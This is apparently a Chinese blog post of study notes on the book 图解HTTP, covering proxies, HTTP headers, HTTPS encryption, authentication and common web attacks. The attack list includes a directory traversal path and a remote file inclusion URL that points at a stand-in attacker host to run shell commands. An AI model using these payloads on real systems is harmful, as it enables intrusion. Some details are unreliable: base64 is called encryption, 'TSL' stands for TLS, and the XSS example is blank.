GuoJ

博客1.0

今天不学习,明天变辣鸡~


图解HTTP

目录

通信数据转发程序(书5.2节)

1.代理

  • 代理:代理服务器的基本行为是接收客户端的请求后转发给其他服务器,不改变URI。
  • 缓存代理: 代理转发时,缓存代理会预先将资源的副本(缓存)保存在代理服务器上。当代理再次接到相同资源的请求时,就可以不从资源服务器那里获取资源,而是将之前的缓存资源作为响应返回。
  • 透明代理:转发请求或响应时,不对报文做任何加工的代理类型成为透明代理,反之成为非透明代理。

2.网关

  • 网关:网关与代理非常类似,但是能将客户端的http请求转化为其他协议与线路上的服务器通信。利用网关可以提高安全性,因为可以在客户端与网关之间的通信线路上加密。

3.隧道

  • 隧道:隧道是客户端与服务器之间建立的一条通信线路。隧道本身是透明的,不会解析http请求,会保持原样中转给服务器。隧道会用SSL等加密手段通信,保证远距离通信安全。隧道会在通信双方断开连接时结束。

首部Header(书6章)

  • 端到端首部(End-to-end Header):此类别的首部必须转发给请求/响应的最终接收对象,且必须保存在由缓存生成的响应中。
  • 逐跳首部(Hop-by-hop Header):此类别的首部只对单次转发有效,会因缓存或代理不再转发。必须提供Connection首部字段

    Http1.1仅有8个逐跳首部字段:Connection、Keep-Alive、Proxy-Authenticate、Proxy-Authorization、Trailer、TE、Transfer-Encoding、Upgrade

HTTPS的混合加密(书7章)

  • https即http在SSL或TSL安全通信线路上进行通信。
  • 非对称加密优点是私钥私有,公钥公开,不会在交换密钥的过程中泄露不能公开的密钥(对称加密交换密钥的时候不能保证密钥不泄露)
  • 非对称加密缺点是速度慢。
  • https先用慢的非对称加密交换对称加密密钥,再用快的对称加密传递http报文,混合使用两种加密,保证了安全和速度。

    详细步骤:

    1. 服务器把自己公开密钥登记到数字证书认证机构
    2. 认证机构用自己的私钥加签,发布公钥证书
    3. 客户端用认证机构的公钥(浏览器通常内置)验签,证明服务器公钥未被篡改
    4. 客户端用服务器公钥加密,发送报文
    5. 服务端用私钥解密报文
  • 客户端证书:需付费;用户自行安装;用户知识水平不同,实施困难;一些特殊业务,比如网银登录会使用;略
  • 为什么不一直用https?答:因为SSL的加解密会消耗非常多的客户端、服务器硬件资源(CPU、内存),另外也能节省购买证书的开销。

身份认证(书8章)

  1. basic认证:使用{用户:密码}格式,base64加密。不安全。
  2. digest认证:通过质询-响应防止密码被窃听,但不能防止用户被伪装。使用不便捷,且达不到安全标准。
  3. SSL客户端认证:需要客户端安装证书,会有额外开销。
  4. 基于表单认证:密码加盐保存;session+cookie认证;bearer token。

web攻击(书11章)

  1. 输出值转义不完全引发的安全漏洞:
    • XSS:例如在浏览器的输出框输入
    • SQL注入:例如在查询输入框写sql,被当作sql语句执行(而非纯文本)。
    • OS命令注入:在可调用Shell函数的地方,例如输入框内容拼接进os命令,输入”;”加OS命令,攻击者就可以非法调用Shell命令。
    • http首部注入攻击:例如在URL后拼接%0D%0A(HTTP报文中的换行符),接其他http首部,比如Set-Cookie设置sessionId,攻击者可以由此在响应中穿插任意首部。
    • http响应截断攻击:特殊的首部注入,拼接2个%0D%0A换行符,之后便可伪造响应主体,用户浏览器会显示攻击者伪造的web页面。
    • 邮件首部注入攻击:类似,略。
    • 目录遍历攻击:攻击者将文件名”abc.log”修改成”../../etc/password”访问本应无权限的文件(未能处理好../)
    • 远程文件包含漏洞:(主要在php)http://example.com/folo.php?mod=news.php,改成http://example.com/folo.php?mod=http://hackr.jp/cmd.php&cmd=ls,于是可以通过外部脚本让目标服务器(example.com)运行自己想要的Shell命令
  2. 设置或设计上的缺陷引发的安全漏洞
    • 强制浏览:例如可以通过url直接访问文件服务器上的图片/文件。
    • 不正确的错误信息:例如登录提示用户名是否已注册;数据库异常上抛至页面会透露数据表设计。
    • 开放重定向:允许重定向到任意指定URL。用户有可能被诱导到恶意网站。
  3. 因会话管理疏忽引发的安全漏洞
    • 会话劫持:攻击者用某种手段拿到用户的sessionId伪装成用户,例如利用XSS通过document.cookie窃取用户cookie中的会话ID。
    • 会话固定攻击:攻击者从web网站拿到一个会话ID,攻击者准备陷阱强制用户使用这个会话ID认证,在用户完成认证之后,攻击者就能使用这个会话ID访问网站了。
    • 跨站点请求伪造CSRF:
  4. 其他安全漏洞
    • 密码破解、点击劫持、DoS攻击、后门程序
    • 点击劫持:用透明按钮/页面覆盖在用户页面上,透明按钮与用户页面按钮重合,诱导用户点击陷阱按钮。